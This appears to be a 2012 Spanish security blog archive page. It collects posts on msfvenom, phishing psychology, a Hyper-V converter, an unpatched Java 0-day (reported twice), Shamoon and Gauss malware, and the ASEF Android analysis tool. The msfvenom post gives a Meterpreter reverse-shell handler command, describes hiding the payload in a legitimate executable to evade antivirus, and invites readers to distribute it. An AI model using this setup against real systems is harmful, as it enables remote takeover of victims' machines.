http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_%28Lotus_Domino%29.pdf
miércoles, 29 de agosto de 2012
Msfvenom
Esta herramienta que pertenece al
framework de Metasploit, no dispone de una larga vida… allá por 2011 es
cuando explota y muestra su potencial y flexibilidad. Más bien, su
flexibilidad, ya que el potencial ya es conocido, ¿Por qué es conocido? Realmente msfvenom es la unión de msfpayload y msfencode.
Como recordatorio decir que msfpayload se encarga de generar payloads
para distintas plataformas, mientras que msfencode se encarga de
codificar dichos payloads con el objetivo de evadir la detección
mediante el uso de antivirus.
Hay que comentar que la riqueza
semántica que aporta msfvenom es digna de mencionar. Normalmente, este
tipo de aplicaciones, como son las predecesoras msfpayload y msfencode,
proporcionan parámetros del estilo -<letra>, lo cual no aporta
mucha información al auditor, atacante, usuario casero o quien quiera
que lo esté usando… Con msfvenom se dispone de parámetros semánticos, lo
cual hace que la aplicación sea realmente intuitiva y sencilla de
utilizar.
Beneficios de msfvenom
Los beneficios de msfvenom se enumeran a continuación:
- Se simplifica la generación de payloads y los intentos de codificación de éstos.
- Se presenta como una herramienta estándar que ayuda a los auditores y a cualquier usuario su manejo. Es realmente intuitiva y con fácil aprendizaje.
- El rendimiento ha sido mejorado considerablemente. La velocidad con la que msfvenom trabaja es claramente más alta que el uso de msfpayload y msfencode por separado. Esto es bastante lógico debido a que se evita el paso de información entre distintos procesos, y toda acción es realizada por el mismo proceso.
Opciones de msfvenom
Algunas de las opciones más útiles de msfvenom se enumeran a continuación:
- Payload. Este parámetro especifica el payload que se utilizará.
- Encoder. Este parámetro especifica el algoritmo que se utilizará para realizar la codificación.
- Format. Especifica el formato, normalmente EXE
- Bad-chars. Este parámetro indica un listado de bytes que no se deben generar en el proceso de obtención del payload. Por ejemplo, si se quieren evitar los bytes nulos ‘\x00′ se añaden en la lista de este parámetro.
- Iterations. Indica el número de iteraciones que se ejecutará el algoritmo del encoder.
- Template. Indica la plantilla de ejecutable que se utilizará.
- Keep. Especifica que el payload se ejecutará en un thread y no en el main del ejecutable. Con esta opción se implementa la técnica de plantilla personalizada sigilosa.
Ejemplo o prueba de concepto: msfvenom y el ejecutable meterpreter
En este breve ejemplo se utilizará
msfvenom para crear un ejecutable para sistemas windows con el que,
cuando la víctima ejecute el archivo devolverá el control de la máquina
al atacante. En primer lugar el atacante utiliza msfcli para lanzar el
manejador, configurado para recibir sesiones inversas de meterpreter. La
orden sería la siguiente msfcli exploit/multi/handler lhost=<ip atacante> lport=<puerto atacante> payload=windows/meterpreter/reverse_tcp.
Ahora, creamos el ejecutable de la siguiente manera:
Una vez que el archivo es creado se debe distribuir, aquí ya… ya sabéis: “El límite es tu imaginación“.
Ahora, una vez que la víctima ejecute el archivo recibiremos la sesión
inversa, teniendo una sesión de meterpreter, con todo lo que ello
conlleva! que no es poco…
Análisis de virus total
Por último, hablaremos de un análisis
sobre el ejecutable que hemos creado. Hay que tener en cuenta que en la
prueba de concepto hemos utilizado una plantilla, que es el ejecutable
de RootkitRevealer, para inyectarle un payload. ¿Cuantos antivirus
salvaremos? En la siguiente imagen se puede visualizar los resultados.
Metasploit da mucho juego, y el framework aporta una riqueza y flexibilidad a los pentesters inigualable.
Enlace: http://www.flu-project.com/msfvenom-la-cosa-va-de-payloads-y-encoders.html
Phishing y otras ciberestafas
No tengo a mano datos concretos sobre denuncias de phishing. Tampoco
sobre estimaciones acerca de ataques exitosos que no son denunciados
que, a buen seguro, contribuirían significativamente a incrementar el
número total de casos. Lo que sí sé es que por los rincones de la red
cuelgan y seguirán colgando numerosos anzuelos y que hay y seguirá
habiendo personas que los muerdan. Voy a reflexionar, con este y otras
entradas que le seguirán, sobre algunos factores que contribuyen a ello.
En primer lugar.
A cualquiera le puede costar entender y distinguir entre un mensaje de warning
correcto y un falso positivo. Y cuando digo cualquiera, quiero decir
exactamente eso. A menudo, no hay una manera inmediata o sencilla de
saber si una alerta de nuestro navegador corresponde a un “ataque” real,
una mala configuración, un certificado caducado, un navegador sin
actualizar, etc. Lo que ocurre a menudo es que el usuario “de a pie” se
encuentra navegando tranquilamente por la red y no sabe qué significa
ni, por tanto, qué hacer cuando se le muestra en pantalla una ventana
como ésta:
O esta:
La mayoría de los usuarios, ya sean usuarios experimentados o no de
Internet, no sabrá elegir si pinchar en “Sí” o “No”. Y si por alguna
casualidad pinchan en “Ver certificado” y les da por fijarse en el
número de serie o en el algoritmo hash o si se deciden por ver la ruta
de certificación, no va a entender nada. Por lo hablar de que si entran a
ver la huella digital o la clave pública entonces sí que quedan
absolutamente empanados…
Este hecho nos expone a dos riesgos que podríamos llamar de primera y
segunda especie. A la primera corresponde seguir adelante con una
consulta o transacción del tipo que sea cuando el warning es real
y por tanto la mejor elección hubiera sido un “No” (lo cual nos podría
conllevar a una serie de problemas y disgustos), mientras que la segunda
es el hecho de que un usuario cancele la navegación ante una buena
oportunidad ofrecida en una web real, seria y segura, a pesar de lo que
diga el navegador.
Con esto, tenemos la Conclusión 1: la mayoría de las
personas no son capaces de entender los mensajes relacionados con
posibles problemas de seguridad que se les muestran en pantalla cuando
navegan por la red. Y me atrevo a decir que por lo general, son tan
numerosos, que el usuario los ignora sin ni siquiera leerlos.
Continuemos.
La s de https hay mucha gente que no tiene ni idea
de qué significa o pretende significar, ni siquiera de que existe. Y del
hecho de que pueda ir acompañada de uno u otro color de fondo y que
aparezca o no un candadito minúsculo en la pantalla podemos decir lo
mismo. Por otro lado, los que sí han oído hablar de la s y del candadito y de lo que en teoría su presencia significa, son muy libres de pensar que la presencia de una s,
de un candadito o de un fondo de uno u otro color de fondo en la barra
del navegador no nos protege necesariamente de absolutamente nada, pues
puede entenderse como algo trivial. Después de todo, es lógico que se
piense así; si mi ordenador es capaz de mostrarme todo tipo de gráficos,
fotografías de alta calidad, películas en alta definición y con un
sonido impecable y un sinfín de auténticas virguerías tecnológicas… ¿no
va ser capaz de mostrarme una simple s o de pintar un candadito de colorines?
Aquí tenemos la Conclusión 2: la mayoría de las
personas no saben identificar signos de seguridad mostrados en pantalla
cuando navegan, y los que sí saben identificarlos tienen razones para
desconfiar de ellos por triviales y porque no les dan sensación de
seguridad. Porque, no lo olvidemos, una cosa es la seguridad y otra muy
diferente es la sensación de seguridad; deberían ir de la mano pero
muchas veces se las encuentra a la primera sin la segunda o lo que es
peor, la segunda sin la primera…
Más cosas.
Partiendo de la base de que hoy en día es muy fácil, casi trivial,
crear un sitio web y sacarlo a la luz podemos concluir que es igual de
fácil de crear y sacar a la luz un sitio web falso. E igual de trivial
es darle una buena apariencia y cierto empaque incluyendo un poco de
publicidad, unos iconos de Facebook y de Twitter, ofreciendo varias
opciones de pago (VISA, Mastercard, American Express, etc.) e incluso un
enlace a una supuesta campaña de colaboración con una ONG según la cual
se destina un porcentaje de las “ventas” a alguna buena acción. Para
que el usuario termine por tirarse a la piscina cabría aquí ofrecerle
una buena dosis de sensación de seguridad incluyendo un logotipo de
VeriSign o de Internet Shopping is Safe, por ejemplo, o incluso de PayPal.
¡Es tan fácil!
Con esto, tenemos la Conclusión 3: en el cibermundo es muy fácil la imitación.
Y por si fuera poco luego te enteras de que a la mismísima VeriSign, coloso de la seguridad online, les hacen un roto en sus sistemas o de que el logo de la Policía Nacional es usado por un virus como señuelo para estafas. Por poner algunos ejemplos…
Una última cuestión.
Una vez conocemos un producto que nos gusta, ¿cuántas veces decidimos
su adquisición ya sólo basándonos en su precio? Respuesta: casi todas.
¿Cuántas veces simplemente quedamos a la espera de una gran oferta de
algo que deseamos y que tarde o temprano acabará cayendo? A esto hay que
añadir que una gran cantidad de gente, y más aún hoy en día, sólo
tienen la vía de los grandes descuentos y las oportunidades únicas e
irrepetibles para acceder a ciertos bienes o servicios que, en general,
no se pueden permitir.
La Conclusión 4 es que cuando se nos crea una
necesidad “imperiosa” del tipo que sea (una cámara de fotos, una tablet,
unos pantalones de marca, un gran viaje, lo último en gafas de sol, un
smartphone con una pantalla increíble…) y nos pintan la ocasión calva
automáticamente perdemos buena parte de la perspectiva y pasamos a estar
dispuestos, de una manera más o menos consciente, a asumir un mayor
nivel de riesgo.
Como corolario final de las conclusiones 1, 2, 3 y 4 y partiendo de
la base de que, por su propia naturaleza, no son aspectos que vayan a
cambiar en el corto/medio plazo podríamos deducir que el phishing está a la orden del día y lo seguirá estando ya que a)
la inmensa mayoría de los usuarios no dispone de las herramientas y
conocimientos necesarios para distinguir el bien del mal sobre la
pantalla de su ordenador, b) las señales de seguridad no son todo lo sencillas y a la vez sofisticadas que muchas veces sería deseable, c) el cibermundo es fácilmente imitable y d) cuando la ocasión la pintan calva estamos dispuestos casi automáticamente a asumir más riesgos de los necesarios.
Microsoft Virtual Machine Converter
Con la salida al mercado de Microsoft Windows Server 2012, también vera la luz la nueva versión de la plataforma de virtualización de Microsoft Hyper-V 3.0
de la que hemos hablado en diversos post en estos últimos meses. Con
todas las nuevas funcionalidades y las mejoras incluidas es factible que
en ciertos entornos se esté pensando en cambiar de solución de
virtualización. Para los casos en los que este pensando convertir
maquinas virtuales desde servidores VMWare a Hyper-V, Microsoft nos proporciona una nueva herramienta:
Para realizar la conversión, deberemos conectar tanto con el servidor VMWare como con el servidor Hyper-V y seleccionar las maquinas que deseamos convertir.
Figura 1 – Conexión a servidor VMWare.
Las configuraciones soportadas para la conversión son las siguientes:
- Recursos VMware:
- vCenter Server 5.0
- vCenter Server 4.1
- ESXi Server 5.0
- ESXi/ESX Server 4.1
- Servidor Host destino:
- Hyper-V on Windows Server 2008 R2 SP1 Standard
- Hyper-V on Windows Server 2008 R2 SP1 Enterprise
- Hyper-V on Windows Server 2008 R2 SP1 Datacenter
- Hyper-V on Windows Server 2012 RC
- Microsoft Hyper-V Server 2008 R2 SP1
- Microsoft Hyper-V Server 2012 RC
- Sistemas operativos soportados para la conversión:
- Windows Server 2003 Standard Edition with SP2 x86
- Windows Server 2003 Standard Edition with SP2 x64
- Windows Server 2003 Enterprise Edition with SP2 x86
- Windows Server 2003 Enterprise Edition with SP2 x64
- Windows Server 2003 R2 Enterprise Edition with SP2 x86
- Windows Server 2003 R2 Enterprise Edition with SP2 x64
- Windows Server 2003 R2 Standard Edition with SP2 x86
- Windows Server 2003 R2 Standard Edition with SP2 x64
- Windows Vista® Enterprise x64
- Windows Vista Enterprise x32
- Windows 7 Enterprise x86
- Windows 7 Enterprise x64
- Windows 7 Professional x86
- Windows 7 Professional x64
- Windows 7 Ultimate x86
- Windows 7 Ultimate x64
- Windows Server 2008 Enterprise x86
- Windows Server 2008 Enterprise x64
- Windows Server 2008 Datacenter x86
- Windows Server 2008 Datacenter x64
- Windows Server 2008 R2 Standard
- Windows Server 2008 R2 Enterprise x64
- Windows Server 2008 R2 Datacenter x64
Junto con la descarga de la herramienta también podéis descargar la documentación de la misma.
En definitiva una herramienta que ayudara a todos aquellos que estén pensado en cambiar su plataforma de virtualización desde WMWare a Microsoft Hyper-V.
Disponible el código fuente del nuevo 0-day de Java
Este resumen no está disponible. Haz
clic en este enlace para ver la entrada.
martes, 28 de agosto de 2012
Grave vulnerabilidad sin parche en Java está siendo aprovechada por atacantes
Se ha descubierto una vulnerabilidad en Java para la que no existe
parche, que está siendo aprovechada por atacantes y cuyo código es
público. Es el peor escenario posible.
Todavía no se sabe mucho sobre la vulnerabilidad, puesto que no ha
dado tiempo a realizar un estudio exhaustivo, pero lo divulgado por
ahora nos sitúa en el peor escenario posible.
FireEye descubría un servidor con un .jar que aprovechaba una
vulnerabilidad. Por tanto, alguien la conoce y está aprovechando el
fallo. A través de un dominio de tercer nivel dinámico (aa24.net) y un
servidor de correo web de una compañía china (que probablemente haya
sido atacada), se está (todavía) distribuyendo malware gracias a ese
fallo en Java.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMBSk4wD_H_-UBiaQXKMJt81XXVfScY4xjA5PfZo2qYxAkUu5GJpX09oxVHKNVKYplF1n0tIj3GRg67TlmglpIVZwsUoBfCn7K44_4rR4um8DQNLIyH4Z7Xyi1IYHjvlc81tT3UBA3c8/s1600/vulnjava.png
A través de un índice en la carpeta "meeting" del servidor, muy ofuscado
con Javascript, el malware que se está distribuyendo es este:
https://www.virustotal.com/file/09d10ae0f763e91982e1c276aad0b26a575840ad986b8f53553a4ea0a948200f/analysis/
y
https://www.virustotal.com/file/8c9483b6b29a7f75054a9520bafbfcec145e9bc4cac17494d61308dc71beadc0/analysis/
El problema afecta a la última versión de Java en su rama 7, hasta su
"update 6". No afecta a la rama 6, que todavía se mantiene pero que se
encuentra en periodo de "extinción". Funciona sobre los principales
navegadores e incluso con EMET activo.
A pesar de que los investigadores que lo descubrieron no ofrecieron
detalles, un tercero ha publicado una prueba de concepto para explotar
el fallo, con lo que se abría la puerta a que cualquiera pudiera
explotarla. El código es sencillo, limpio, funcional y fiable. Compilar
y lanzar. Poco después, se ha introducido como módulo en Metasploit.
Esto licencia a que cualquier atacante pueda comenzar a distribuir su
propio malware (muy probablemente durante los próximos días se pueda ver
en Blackhole, el kit de explotación de moda entre los atacantes). Si,
como ya hemos mencionado en más de una ocasión, una máquina virtual de
Java no actualizada es lo que más aprovechan los creadores de malware
para distribuir sus muestras, esta vulnerabilidad permite "abrir el
mercado" también entre los actualizados.
En ausencia de un parche eficaz, no existe una forma sencilla de mitigar
el problema. Lo más recomendable es deshabilitar Java del navegador. No
se sabe cuándo solucionará Oracle el problema. Su ciclo cuatrimestral de
actualizaciones, sugiere que hasta el 16 de octubre puede que no
parcheen el gravísimo problema. Desde luego, Oracle no suele publicar
parches fuera de ciclo. En contadas ocasiones lo ha hecho con su base de
datos, su producto estrella. Pero menos aún con Java desde que le
pertenece.
En abril de 2010 Tavis Ormandy y Rubén Santamarta descubrieron un grave
fallo de seguridad en JRE. A Ormandy le dijeron desde Oracle que no lo
consideraban tan grave como para publicar nada antes del periodo
establecido. Una semana después, publicaban un parche fuera de ciclo
(Java 6 Update 20), que no acreditaba la corrección de la
vulnerabilidad. Tuvieron que comprobar que, simplemente, el fallo dejaba
de darse, pero no había confirmación oficial.
Hace algunas semanas escribíamos en una-al-día, un titular que
(obviamente tomándonos ciertas licencias) afirmaba "Si no actualizas
Java, estás infectado". Pretendía llamar la atención sobre el hecho de
que una enorme parte de los atacantes estaban aprovechando de forma
masiva fallos muy recientes en Java y que la manera más eficaz de
defenderse era actualizar. Lo estamos viviendo día a día en el
laboratorio. Ahora podemos añadir que, incluso si se está actualizado y
con medidas extra de seguridad como EMET, se corre el riesgo de que un
atacante ejecute código en el sistema.
parche, que está siendo aprovechada por atacantes y cuyo código es
público. Es el peor escenario posible.
Todavía no se sabe mucho sobre la vulnerabilidad, puesto que no ha
dado tiempo a realizar un estudio exhaustivo, pero lo divulgado por
ahora nos sitúa en el peor escenario posible.
FireEye descubría un servidor con un .jar que aprovechaba una
vulnerabilidad. Por tanto, alguien la conoce y está aprovechando el
fallo. A través de un dominio de tercer nivel dinámico (aa24.net) y un
servidor de correo web de una compañía china (que probablemente haya
sido atacada), se está (todavía) distribuyendo malware gracias a ese
fallo en Java.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMBSk4wD_H_-UBiaQXKMJt81XXVfScY4xjA5PfZo2qYxAkUu5GJpX09oxVHKNVKYplF1n0tIj3GRg67TlmglpIVZwsUoBfCn7K44_4rR4um8DQNLIyH4Z7Xyi1IYHjvlc81tT3UBA3c8/s1600/vulnjava.png
A través de un índice en la carpeta "meeting" del servidor, muy ofuscado
con Javascript, el malware que se está distribuyendo es este:
https://www.virustotal.com/file/09d10ae0f763e91982e1c276aad0b26a575840ad986b8f53553a4ea0a948200f/analysis/
y
https://www.virustotal.com/file/8c9483b6b29a7f75054a9520bafbfcec145e9bc4cac17494d61308dc71beadc0/analysis/
El problema afecta a la última versión de Java en su rama 7, hasta su
"update 6". No afecta a la rama 6, que todavía se mantiene pero que se
encuentra en periodo de "extinción". Funciona sobre los principales
navegadores e incluso con EMET activo.
A pesar de que los investigadores que lo descubrieron no ofrecieron
detalles, un tercero ha publicado una prueba de concepto para explotar
el fallo, con lo que se abría la puerta a que cualquiera pudiera
explotarla. El código es sencillo, limpio, funcional y fiable. Compilar
y lanzar. Poco después, se ha introducido como módulo en Metasploit.
Esto licencia a que cualquier atacante pueda comenzar a distribuir su
propio malware (muy probablemente durante los próximos días se pueda ver
en Blackhole, el kit de explotación de moda entre los atacantes). Si,
como ya hemos mencionado en más de una ocasión, una máquina virtual de
Java no actualizada es lo que más aprovechan los creadores de malware
para distribuir sus muestras, esta vulnerabilidad permite "abrir el
mercado" también entre los actualizados.
En ausencia de un parche eficaz, no existe una forma sencilla de mitigar
el problema. Lo más recomendable es deshabilitar Java del navegador. No
se sabe cuándo solucionará Oracle el problema. Su ciclo cuatrimestral de
actualizaciones, sugiere que hasta el 16 de octubre puede que no
parcheen el gravísimo problema. Desde luego, Oracle no suele publicar
parches fuera de ciclo. En contadas ocasiones lo ha hecho con su base de
datos, su producto estrella. Pero menos aún con Java desde que le
pertenece.
En abril de 2010 Tavis Ormandy y Rubén Santamarta descubrieron un grave
fallo de seguridad en JRE. A Ormandy le dijeron desde Oracle que no lo
consideraban tan grave como para publicar nada antes del periodo
establecido. Una semana después, publicaban un parche fuera de ciclo
(Java 6 Update 20), que no acreditaba la corrección de la
vulnerabilidad. Tuvieron que comprobar que, simplemente, el fallo dejaba
de darse, pero no había confirmación oficial.
Hace algunas semanas escribíamos en una-al-día, un titular que
(obviamente tomándonos ciertas licencias) afirmaba "Si no actualizas
Java, estás infectado". Pretendía llamar la atención sobre el hecho de
que una enorme parte de los atacantes estaban aprovechando de forma
masiva fallos muy recientes en Java y que la manera más eficaz de
defenderse era actualizar. Lo estamos viviendo día a día en el
laboratorio. Ahora podemos añadir que, incluso si se está actualizado y
con medidas extra de seguridad como EMET, se corre el riesgo de que un
atacante ejecute código en el sistema.
lunes, 27 de agosto de 2012
Un nuevo virus destruye documentos, fotografías y vídeos almacenados
El Instituto Nacional de Tecnologías de la Comunicación (INTECO) ha alertado hoy de un virus, conocido como Disstrack o Shamoon,
que sobrescribe y destruye documentos, fotografías y vídeos almacenados
en las carpetas del equipo. Este virus actúa sobre plataformas Windows y
deja inservibles todos los ficheros que
se encuentren en el Escritorio y en las carpetas Descargas, Mis
documentos, Mis imágenes, Vídeos y Música, según ha advertido INTECO en
su boletín semanal de seguridad.
Ha detallado que este gusano se introduce en el equipo a través de unidades de red compartidas, aplicaciones P2P o por correo electrónico
y que, además de destruir archivos, modifica el registro maestro de
arranque para que el sistema operativo no pueda reiniciarse.
El Disstrack o Shamoon es uno de los catorce virus y 126 vulnerabilidades catalogados en los últimos siete días por INTECO, que ha detectado en la red social Facebook la propagación de falsas aplicaciones del servicio de mensajería WhatsApp.
El engaño de las falsas aplicaciones
El
instituto estatal, con sede en León, ha incidido en que WhatsApp «no
está disponible» en Facebook a día de hoy y ha emplazado a los usuarios
de la plataforma a que estén «muy atentos» y no se dejen «engañar» con trucos de ingeniería social. En
concreto, estas falsas aplicaciones son usadas para apoderarse de datos
de los usuarios, redirigirlos a web fraudulentas, mostrarles publicidad
no deseada en sus biografías y enviar correos no deseados a sus
contactos.
Además, ha recomendado que se configuren correctamente las opciones de privacidad en las redes sociales y ha apuntado que es «especialmente importante» tener cuidado con la información que se publica en ellas, porque algunos datos pueden ser usados por los delincuentes para propósitos «muy alejados de los legítimos».
Por ello, ha emplazado a los usuarios a que no desvelen,
por ejemplo, le fecha y el lugar de nacimiento, la residencia, datos
bancarios, el número de teléfono móvil, planes para las vacaciones y
contraseñas.
Recopila y envía información
El
INTECO ha añadido que ha publicado un artículo de análisis de una nueva
amenaza cibernética llamada Gauss, que sigue la estela de otras como
las conocidas Flame, Stuxnet y Duqu. El informe expone que Gauss es un
proyecto diseñado para recopilar información y enviarla a servidores y su particularidad reside en que «la infección está muy dirigida» Agrega que el mayor número de ataques se dan en Líbano, seguido de Israel, y que su principal objetivo era interceptar comunicaciones de bancos libaneses como Banco de Beirut, Byblos y Fransabank.
INTECO ha subrayado el «aumento del nivel de sofisticación» que están adquiriendo las amenazas,
por lo que ve necesario incrementar la inversión en políticas de
seguridad, sobre todo en lo que referido a sistemas de control
industrial.
ASEF - Android Security Evaluation Framework
El análisis de aplicaciones móviles se ha convertido en un requisito
indispensable. Los smartphone forman ya parte de nuestras vidas. Y es
por eso que los criminales centran su esfuerzo en este tipo de
plataforma.
En este caso nos centraremos en los smartphone con sistema operativo Android.
Los troyanos bancarios por ejemplo ya incluyen el apartado para el móvil además de infectar la máquina de la víctima.
En el POST de hoy usaremos un framework para el análisis de apk maliciosas.
El framework es ASEF - Android Security Evaluation Framework, es open source y lo puedes encontrar en Code Google.
Recomiendo leer antes el PDF que hay en el proyecto. Explica el
funcionamiento del framework y como trabaja para realizar el análisis
dinámico de los apk. El PDF lo puedes encontrar directamente aquí.
El funcionamiento de ASEF es el siguiente, usando los AVD que puedes
crear con el SDK de Android, instalará los apk que le pasemos como
parámetro, capturará el tráfico con tcpdump y nos mostrará por pantalla
los resultados.
El esquema de funcionamiento de ASEF es este:
Con ASEF realizaremos la parte de análisis dinámico. Para usar ASEF
deberemos de cumplir con ciertos requisitos: El primero de todos es el SDK de Android y el segundo, la API de Google Safe Browsing
Necesitaremos también tres módulos de perl, en concreto:
- Getopt::Std;
- URI::Find;
- URI::Encode
Por último necesitaremos tener instalado tcpdump y un dispositivo con Android o bien un AVD donde hacer las pruebas.
Con estos requisitos ya podemos trabajar con ASEF, una vez descargado lo colocamos en la carpeta de android-sdk.
Revisamos el fichero configuración de ASEF y rellenamos los datos:
#Configurator file will allow you to configure all the parameters
required by apkeval.pl (core part of A S E F) so user doesn't need to
re-enter every time test is run
#Please follow each of the sample format and provide the parameters
#Name of the virtual device created by user on which all the tests will be run
#Default AVD = avd_test
Default AVD =
#Google Safe Browsing API Key
#Google Safe Browsing API = ABQIAAAAo85Inuxqqg6th2Wo1234yxR6oJp44IDGFsHRDnasTNl3gDmneG
Google Safe Browsing API =
#IP address of the local machine on which A S E F is running, given by an interface on which packets will be captured
#Host IP = 10.0.0.4
Host IP =
#Interface on which packets will be captured
#interface = en1
interface =
#If user choose to bypass virtual device and run all tests on
physical device, please provide device ID on which all tests will run
#AD = 3441F11B71E600EC
AD =
#Marination time Tm in seconds for tuning the test cycle
#Tm = 10
Tm =
#No of gestures to be sent to an app during activity mode inside a test cycle
#RGC = 75
RGC =
Rellenamos los datos como la API de Google Safe Browsing, la IP donde
correremos ASEF, la interfaz de red, además de el nombre del AVD en el
caso de que lo usemos o el ID del device con Android que usemos para las
pruebas. Además le indicamos el tiempo que dedicará a cada análisis e
incluso gestos random que se ejecutarán en el dispositivo.
Una vez que ejecutamos la herramienta nos aparecen ciertos datos interesantes:
ASEF ==> Running a configurator for ASEF .............
Using default AVD = android2.2
Using Google Safe Browsing API key = MI API SAFE BROWSING
Using packet capturing tool 'tcpdump' on 192.168.1.129 at interface en1
Tm is set to be 10 seconds
Will send 75 number of gestures to each app inside the activity mode of a test cycle
Location of the Directory :- apk
1) be_social_plugin.apk
2) com.mediawoz.gotq.apk
3) de.mehrmannd.sdbooster-GAMEX.apk
4) il.co.egv-3.apk
5) seguridad.apk
6) Update.apk
7) zitmo.apk
Total number of apk files found = 7
Nos indica que está ASEF corriendo, y además nos da información sobre los APK que ha encontrado para analizar.
ASEF también nos proporciona información sobre los APK en si,
application name :- seguridad.apk
packagename :- 'com.android.security'
launcher activity :- 'com.android.security.MainActivity'
version code :- '1'
version name :- '4.3'
app lable :- 'Android Security Suite Premium'
application name :- de.mehrmannd.sdbooster-GAMEX.apk
packagename :- 'de.mehrmannd.sdbooster'
launcher activity :- 'de.mehrmannd.sdbooster.SDboost'
version code :- '714152'
version name :- '1.5.2'
app lable :- 'SD-Booster'
Como resultado del test también nos creará una carpeta con los APK que ha analizado:
---- Creating the master TEST RESULT DIRECTORY :- TEST_08_20_12-10:10:13 ----
1) TEST_08_20_12-10:10:13/"be_social_plugin.apk"
2) TEST_08_20_12-10:10:13/"com.mediawoz.gotq.apk"
3) TEST_08_20_12-10:10:13/"de.mehrmannd.sdbooster-GAMEX.apk"
4) TEST_08_20_12-10:10:13/"il.co.egv-3.apk"
5) TEST_08_20_12-10:10:13/"seguridad.apk"
6) TEST_08_20_12-10:10:13/"Update.apk"
7) TEST_08_20_12-10:10:13/"zitmo.apk"
Done creating the Test result hierarchy .......
ASEF irá analizando cada uno de los apk, pongo un ejemplo de lo que se mostraría en el terminal cuando analiza uno de los apk.
Starting to capture all network traffic for the application
be_social_plugin.apk at location :-
/usr/local/Cellar/android-sdk/r20.0.1/ASEF_OSP/TEST_08_20_12-10:10:13/"be_social_plugin.apk"/network_traffic.txt
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on en1, link-type EN10MB (Ethernet), capture size 65535 bytes
Getting ready to install Application be_social_plugin.apk from the location ..........apk/"be_social_plugin.apk"
Installing be_social_plugin.apk now :-
469 KB/s (16098 bytes in 0.033s)
pkg: /sdcard/tmp/be_social_plugin.apk
Success
Una de las partes mas importantes es poder capturar el tráfico que
puedan llegar a generar los apk, un ejemplo de lo que capturaría ASEF:
! be_social_plugin.apk accessed --> " 111.221.74.34 " and it is - <!DOCTYPE html>
<html lang=en>
<meta charset=utf-8>
<meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
<title>Error 400 (Bad Request)!!1</title>
<style>
*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}
</style>
<a href=//www.google.com/><img src=//www.google.com/images/errors/logo_sm.gif alt=Google></a>
<p><b>400.</b> <ins>That’s an error.</ins>
<p>Your client has issued a malformed or illegal request. <ins>That’s all we know.</ins>
<html lang=en>
<meta charset=utf-8>
<meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
<title>Error 400 (Bad Request)!!1</title>
<style>
*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}
</style>
<a href=//www.google.com/><img src=//www.google.com/images/errors/logo_sm.gif alt=Google></a>
<p><b>400.</b> <ins>That’s an error.</ins>
<p>Your client has issued a malformed or illegal request. <ins>That’s all we know.</ins>
En este caso nos ha dado un error 400!
Para la parte de análisis dinámico nos sirve perfectamente, además si
desarrollan mas features para el framework será una herramienta que
deberemos tener para los análisis de apk.
Enlace: http://www.securitybydefault.com/2012/08/asef-android-security-evaluation.html?utm_source=twitterfeed&utm_medium=twitter
Suscribirse a:
Entradas (Atom)